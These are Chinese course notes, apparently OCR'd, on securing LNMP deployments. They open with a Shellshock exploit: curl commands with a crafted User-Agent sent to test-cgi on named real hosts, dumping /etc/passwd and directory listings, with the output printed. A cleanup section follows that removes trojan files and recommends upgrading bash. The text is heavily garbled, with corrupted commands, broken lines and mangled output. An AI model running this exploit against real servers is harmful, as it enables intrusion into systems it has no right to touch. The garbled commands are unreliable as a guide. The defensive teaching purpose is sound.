开发者学堂课程【企业Web常用架构LAMP-LNMP实战:LNMP架构的部署注意事项】学习笔记,与课程紧密联系,让用户快速学习知识。
课程地址:https://developer.aliyun.com/learning/course/385/detail/4832
LNMP架构的部署注意事项
内容介绍
一、漏洞的威胁
二、案例
一、漏洞的威胁
百度搜 test-cgi 漏洞 乌云
test-cgi 漏洞 ,例如:
第一个:bash 破壳命令执行curl-A"(){foo;};echo;/bin/cat/etc/passwd"http://mail.10jqka.com.cn:88/cgi-bin/test-cgi
运行
[root@localhost extraj# cur1 -A "( { foo; };echo;/bin/cat /etc/passwd”
http : / /www . eduedu .
com/cgi-bin/test-cgi
root: :o:o:root: /root: /bin/bash
bin: x:1:1:bin: /bin: / sbin/nologin
daemon : x:2: 2:daemon: /sbin:/sbin/nologinadm: x:3:4: adm:/var/adm:/sbin/no1ooi
daemon : x:2: 2:daemon: /sbin:/sbin/nologinadm: x:3:4: adm:/var/adm:/sbin/no1o
gin
lp : x:4:7: lp: /var/ spoo1/1pd: jsbin/hologinsync:x:5:o: sync:/sbin:/bin/halt
mail:x:8:12:mail:/var /spoo1/mai1:/sbin/nologinuucp :x:10:14:uucp :/var/ spoo1/uucp: / sbin/nologin
operator:x:11:0:operator:/root:/sbin/no1o
g
in
games:x:12:100: games :/usr/games: /sbin/no1ogin
gopher: x:13:30: gopher: /var7gopher: /sbin/no1ogin
ftp :x:14:50:FTPUser :/var/ftp:/sbin/nologin
nobody : x:99:99: Nobody :/ :/ sbin/nologin
vcsa:x:69:69:.rtuaconoheeer"/var7empty/sasiauth:/sbin/no1og
postfix:x:89:89: : /var/spoo1/postfix:/sbin/no1ogin
sshd:x:74:74:Privilege-separated ssH:/var/empty/sshd:/sbin/nologinmysq1:x:600:600: :/home /mysql:/bin/bash
[root@7ocalhost extra1#
在本机输入该命令就可以获取远程服务器的所有密码信息,包括目录信息·
[root@locaThost extra]# cur1 '-A "( { foo;};echo;/bin/1s/" http
:/
/
www.
eduedu.com/cgi-bin/test-cgi
vMwareroois-8.6.5-621624 .tar. gz
bin
b
oot
cicro
c
rossdomain.xml
d
ev
e
tc
h
ome
i
ndex.html
i
ndex.html.1
l
ib
l
ib64
l
ost+found
m
edia
m
nt
o
pt
proc
r
oot
查看其他目录内容
[root@locaThost extra]# cur1 '-A "( { foo;};echo;/bin/1s/
boot
" http
:/
/
www.
eduedu.com/cgi-bin/test-cgi
就可以登录账号,修改密码等任何事情,通过这个漏洞就能控制远程服务器。
分析漏洞产生原因:bash 本身存在漏洞
漏洞证明:shell,很多函数和$不让使用,如果 shell 和 sql 结合会使所有的信息清楚展现
漏洞诞生的原因:需要的模块加载,不需要的不必加载。必须要在有漏洞、必须要有cgi是可执行的
[root@i-465-39832-VMconf]#_cd ../
[root@i-465-39832-VMapache]#ls
binbuild cgi-bin conferrorhtdocsiconsincludelogsmanmanua1 modules
[root@i-465-39832-VMapache]# cd cgi-bin/
[root@i-465-39832-VMcgi-bin]#1s
printenvtest-cgi
[root@i-465-39832-vMcgi-bin]#p
s-
ef
查看结果
查看执行路径:
[root@i-465-39832-YM cgi-bin]# 11_/proc/32207/exe.-,
irwxrwxrwx. 1 mysq1 mysq1 0 Mar3' i9:37/proc/32207/exe ->/cicrodb_temp /yufeng--.
[root@i-465-39832-vM cgi-bin]# cd //cicro/wcm/data/db/mysq1/data
[root@i-465-39832-VMdata]#1s
打开后都是木马文件
删除:
[root@i-465-39832-vM data]#rm_-rf keeplive_
[root@i-465-39832-VM data]# rm-rf keep1ive*
lroot@i-465-39832-VMdata]#1
f
kill
[root@i-465-39832-VM data]#killa11 -9 yufeng
一个一个kill,若关不掉就控制路径
[root@i-465-39832-VM data]# cd /cicro/wcm/as/
[root@i-465-39832-VMas]#1s..oapacheapache_2.4jdk1.7.0_67tomcat
apache.2.2.3_jdk1.6.0_13nginx tomcat_20141029
[root@i-465-39832-VMas]#cd apache
[root@i-465-39832-VMapache]#ls
binbuildcgi-binconferrorhtdocs, iconsincludelogs
[root@i-465-39832-VMapache]# cd cgi-bin/
[root@i-465-39832-VMcgi-bin]#ls
printenv.test-cgi
[root@i-465-39832-VM cgi-bin]# rm -rf test-cgi
[root@i-465-39832-VMcgi-bin]#ls
Printenv
[root@i-465-39832-VMcgi-bin]#77total4
-rwxr-xr-x.1root. root.294.pec 11 2oo4iprantenv
[root@i-465-39832-VM cgi-bin]# rm-rf printenv
[root@i-465-39832-VMcgi-bin]#ls
[root@i-465-39832-VMcgi-bin]#1s -al
T
otal
8
Drwxr-xr-x. 2 root root 4096 mar 322:46
Drwxr-xr-x. 14 root root 4096 dec 5 2014
[root@i-465-39832-VMcgi-bin]#ps
杀掉之后,杜绝根源,因为 besh 有漏洞,所以解决措施是升级 besh。
注意:文件需要删除干净
ll/原 ID通过内存后查看(绿色显示的是:真实的文件放置的位置)
发现木马文件:删除原文件不可以删库、还可从入口控制(删除入口)
删除掉木马文件可以从:运行速度、运行负载看到
保证原服务器正常的情况下升级
二、例题
CGI/1.0 test seript report:
anc is 0. argv is.
SERVER_SOFTWARE=Apache/2.2.29 (Unix) DAV/2 mod_jk/1.2.
SERVER NAE = www. eduedu com
GATEVAY INTERFACE = CGI/1.1
SERVER PROTOCOL = HTTP/1.1
SERVER FORt = 80
REQUEST_ METHD = GET
HTIP. ACCEPT =text/html,application/xhtml+xml,app
PATH_TRANSATED =
SCRIPI_NAME = /cgi-bin/test-cgi
QUERY_SIRING =
RETOTE_HDST =
REIOTE_ADDR = 117.34.5.240
REIOTE_USER=
AUIH_TYPE =
CONTENT_TYPE =
CONIENT_LENGTH =